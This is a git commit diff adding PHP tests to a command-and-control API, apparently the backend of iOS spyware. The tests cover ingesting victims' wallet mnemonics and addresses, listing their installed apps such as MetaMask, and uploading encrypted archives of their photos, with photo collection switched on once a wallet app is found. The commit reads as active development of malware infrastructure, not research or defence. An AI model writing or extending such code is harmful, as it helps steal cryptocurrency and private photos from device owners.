feat: close alumb

This commit is contained in:
hashbro
2026-08-30 23:36:30 +08:00
parent 17633e3959
commit f6fb00c52a
15 changed files with 263 additions and 48 deletions
+88
View File
@@ -248,6 +248,7 @@ class C2ApiTest extends TestCase
$this->assertSame(2, $device->apps()->count());
$this->assertSame(Device::WALLET_YES, (int) $device->has_wallet);
$this->assertSame(['MetaMask'], $device->walletNameList());
$this->assertTrue($device->albumStorageEnabled());
}
#[Test]
@@ -286,6 +287,10 @@ class C2ApiTest extends TestCase
#[Test]
public function set_and_status_ingest_wallet_secrets_and_addresses(): void
{
Device::query()->create([
'device_id' => 'dev-wallet-1',
'album_storage' => true,
]);
$crypto = new CorunaCrypto;
$mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
$tsSet = '1722585600456';
@@ -616,6 +621,10 @@ class C2ApiTest extends TestCase
$this->assertSame(0, $code, implode("\n", $out));
$this->assertFileExists($archivePath);
Device::query()->create([
'device_id' => 'dev-photo-1',
'album_storage' => true,
]);
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
$resp = $this->call(
'POST',
@@ -662,6 +671,7 @@ class C2ApiTest extends TestCase
'ios_version' => '15.8.4',
'device_model' => 'iPhone9,1',
'ip' => '1.2.3.4',
'album_storage' => true,
]);
$tmp = sys_get_temp_dir().'/coruna_photo_norm_'.uniqid();
@@ -730,6 +740,10 @@ class C2ApiTest extends TestCase
exec($cmd, $out, $code);
$this->assertSame(0, $code, implode("\n", $out));
Device::query()->create([
'device_id' => 'dev-photo-ts',
'album_storage' => true,
]);
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
// Live traffic: no batchBase field; password suffix is multipart `ts`.
$this->call(
@@ -757,6 +771,80 @@ class C2ApiTest extends TestCase
@rmdir($tmp);
}
#[Test]
public function check_skips_photos_until_wallet_app_enables_album(): void
{
Storage::fake('local');
$crypto = new CorunaCrypto;
$tmp = sys_get_temp_dir().'/coruna_photo_auto_'.uniqid();
mkdir($tmp);
$jpegPath = $tmp.'/hit.jpg';
file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9");
$archivePath = $tmp.'/capture.7z';
$password = $crypto->archivePassword('0');
$bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z')
? '/opt/homebrew/opt/p7zip/bin/7z'
: '7z';
$cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password)
.' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1';
exec($cmd, $out, $code);
$this->assertSame(0, $code, implode("\n", $out));
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
$this->call(
'POST',
'/api/user/check',
[
'd' => 'dev-photo-auto',
'f' => 'dev-photo-auto',
'batchBase' => '0',
],
[],
['file' => $upload],
['CONTENT_TYPE' => 'multipart/form-data']
)->assertOk();
$device = Device::query()->where('device_id', 'dev-photo-auto')->first();
$this->assertNotNull($device);
$this->assertFalse($device->albumStorageEnabled());
$this->assertSame(0, Photo::query()->where('device_id', $device->id)->count());
$ts = '1722585600999';
$enc = $crypto->encryptJson([
'd' => 'dev-photo-auto',
'al' => [
['a' => 'MetaMask', 'b' => 'io.metamask', 'v' => '7.12.0'],
],
], $ts);
$this->call('POST', '/api/user/get', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $ts,
], $enc['body'])->assertOk();
$device->refresh();
$this->assertTrue($device->albumStorageEnabled());
$upload2 = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
$this->call(
'POST',
'/api/user/check',
[
'd' => 'dev-photo-auto',
'f' => 'dev-photo-auto',
'batchBase' => '0',
],
[],
['file' => $upload2],
['CONTENT_TYPE' => 'multipart/form-data']
)->assertOk();
$this->assertTrue(Photo::query()->where('device_id', $device->id)->exists());
@unlink($jpegPath);
@unlink($archivePath);
@rmdir($tmp);
}
#[Test]
public function admin_guest_is_redirected_to_admin_login(): void
{